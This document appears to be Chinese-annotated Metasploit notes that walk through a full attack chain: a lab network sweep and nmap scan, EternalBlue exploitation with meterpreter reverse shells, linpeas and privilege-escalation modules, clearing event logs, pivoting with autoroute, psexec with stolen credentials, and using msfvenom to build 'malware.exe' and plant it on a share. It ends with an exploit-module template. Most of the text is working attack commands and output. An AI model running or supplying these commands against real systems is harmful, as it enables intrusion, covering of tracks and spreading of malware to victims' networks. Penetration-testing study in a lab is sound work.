ll /usr/share/metasploit-framework/modules

drwxr-xr-x 22 root root 4096 Apr 10 02:24 auxiliary
drwxr-xr-x 12 root root 4096 Nov 30 07:24 encoders
drwxr-xr-x  3 root root 4096 Nov 30 07:24 evasion
drwxr-xr-x 22 root root 4096 Apr 10 02:24 exploits
drwxr-xr-x 14 root root 4096 Dec 26 02:00 nops
drwxr-xr-x  6 root root 4096 Nov 30 07:24 payloads
drwxr-xr-x 14 root root 4096 Nov 30 07:24 post
-rw-r--r--  1 root root  434 Mar 19 13:38 README.md

apt update -y && apt install -y metasploit-framework

apt update -y && apt upgrade -y metasploit-framework

msfupdate

sudo msfdb init

  use exploit/multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST <你的IP>
  set LPORT <端口号>

┌──(kali㉿kali)-[~]
└─$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root

┌──(kali㉿kali)-[~]
└─$ sudo su -       
[sudo] password for kali: 
┌──(root㉿kali)-[~]
└─# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization

┌──(root㉿kali)-[~]
└─# msfdb stop
[+] Stopping database

┌──(root㉿kali)-[~]
└─# msfdb delete
[+] Starting database
[+] Dropping databases 'msf'
[+] Dropping databases 'msf_test'
[+] Dropping database user 'msf'
[+] Deleting configuration file /usr/share/metasploit-framework/config/database.yml
[+] Stopping database

┌──(root㉿kali)-[~]
└─# exit

┌──(kali㉿kali)-[~]
└─$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

┌──(kali㉿kali)-[~]
└─$ sudo msfdb start
[i] Database already started

┌──(kali㉿kali)-[~]
└─$ sudo msfconsole 
Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.4.54-dev                          ]
+ -- --=[ 2500 exploits - 1289 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

msf5 auxiliary(sniffer/psnuffle) > jobs		#查看msf后台运行进程
msf5 auxiliary(sniffer/psnuffle) > jobs -K		#杀死进程

msf6 > search arp_sweep

Matching Modules
================

   #  Name                                   Disclosure Date  Rank    Check  Description
   -  ----                                   ---------------  ----    -----  -----------
   0  auxiliary/scanner/discovery/arp_sweep  .                normal  No     ARP Sweep Local Network Discovery


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/discovery/arp_sweep

msf6 > use 0
msf6 auxiliary(scanner/discovery/arp_sweep) > info

       Name: ARP Sweep Local Network Discovery
     Module: auxiliary/scanner/discovery/arp_sweep
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  belch

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                        tasploit.html
  SHOST                       no        Source IP Address
  SMAC                        no        Source MAC Address
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    5                yes       The number of seconds to wait for new data

Description:
  Enumerate alive Hosts in local network using ARP requests.


View the full module info with the info -d command.

msf6 auxiliary(scanner/discovery/arp_sweep) > options 

Module options (auxiliary/scanner/discovery/arp_sweep):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                         etasploit.html
   SHOST                       no        Source IP Address
   SMAC                        no        Source MAC Address
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    5                yes       The number of seconds to wait for new data


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.56.0/24
RHOSTS => 192.168.56.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > set INTERFACE eth1
INTERFACE => eth1
msf6 auxiliary(scanner/discovery/arp_sweep) > run
/usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the allocator of T_DATA class PCAPRUB::Pcap
[+] 192.168.56.1 appears to be up (UNKNOWN).
[+] 192.168.56.100 appears to be up (CADMUS COMPUTER SYSTEMS).
[+] 192.168.56.105 appears to be up (CADMUS COMPUTER SYSTEMS).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/arp_sweep) > 

db_nmap -sS -sV -T4 -Pn 192.168.56.105

msf6 auxiliary(scanner/http/http_version) > db_nmap -sS -sV -T4 -Pn 192.168.56.105
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-15 02:58 EDT
[*] Nmap: Nmap scan report for 192.168.56.105
[*] Nmap: Host is up (0.00087s latency).
[*] Nmap: Not shown: 994 closed tcp ports (reset)
[*] Nmap: PORT     STATE SERVICE  VERSION
[*] Nmap: 22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
[*] Nmap: 80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
[*] Nmap: 111/tcp  open  rpcbind  2-4 (RPC #100000)
[*] Nmap: 443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
[*] Nmap: 3306/tcp open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
[*] Nmap: 8086/tcp open  http     InfluxDB http admin 1.7.9
[*] Nmap: MAC Address: 08:00:27:A4:07:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.85 seconds

notes add <笔记内容>

  search ms17-010

  use exploit/windows/smb/ms17_010_eternalblue

set RHOST 192.168.1.100

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <你的IP>
set LPORT 4444

show options

exploit
或
run

use exploit/windows/smb/ms17_010_eternalblue

set RHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp

exploit

  sessions -l

  sessions -i <会话ID>

shell

sessions -i <会话ID>  # 例如 sessions -i 1

msf6 > upload /path/to/linpeas.sh /tmp/linpeas.sh  # 在MSF控制台执行

chmod +x /tmp/linpeas.sh  # 在目标Shell中执行
./tmp/linpeas.sh  # 运行脚本，等待扫描结果

msf6 > search linux privilege escalation

msf6 > use <模块名称>

msf6 exploit(<模块名称>) > set SESSION <会话编号>

msf6 exploit(<模块名称>) > run

  clearev

  rm <文件路径>

  run autoroute -s <目标网段>

  use auxiliary/scanner/smb/smb_enumshares
  set RHOSTS <目标子网>
  run

  use exploit/windows/smb/psexec
  set SMBUser <用户名>
  set SMBPass <密码>
  set RHOSTS <目标IP>
  run

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<端口> -f exe -o malware.exe
  upload malware.exe <共享文件路径>

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient  # 根据漏洞涉及的协议选择合适的模块

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '模块名称',
      'Description'    => %q{
        模块描述，指出目标漏洞的性质，来自的 POC，以及利用目标的具体原理。
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['POC 作者', '你自己'],
      'References'     => [
        ['CVE', '漏洞的 CVE ID，例如 CVE-2023-XXXXX'],
        ['URL', 'POC 的来源链接']
      ],
      'Payload'        => {
        'Compat'        => {
          'PayloadType' => 'java/meterpreter/reverse_tcp',  # 目标载荷类型
          'RequiredCmd' => 'generic/shell_reverse_tcp'      # 需要什么命令
        }
      },
      'Platform'       => 'win', # 目标平台
      'Targets'        => [
        ['Windows', { 'Ret' => 0xdeadbeef }]  # 指定目标类型
      ],
      'DefaultTarget'  => 0 # 默认的目标
    ))

    register_options([
      Opt::RPORT(80), # 注册目标端口
      OptString.new('TARGETURI', [true, '路径', '/example/path'])
    ])
  end

  def check
    # 检查是否能利用漏洞，例如通过发送一个请求
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI']
    })

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # 核心漏洞利用代码
    print_status('开始漏洞利用')

    payload_data = Rex::Text.encode_base64(payload.raw)

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{datastore['TARGETURI']}/action",
      'vars_post' => {
        'input' => payload_data
      }
    })

    if res && res.code == 201
      print_good('利用成功！返回：' + res.body)
    else
      fail_with(Failure::Unknown, "漏洞利用失败！返回：" + res.body)
    end
  end
end

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.7
set LPORT 4444
exploit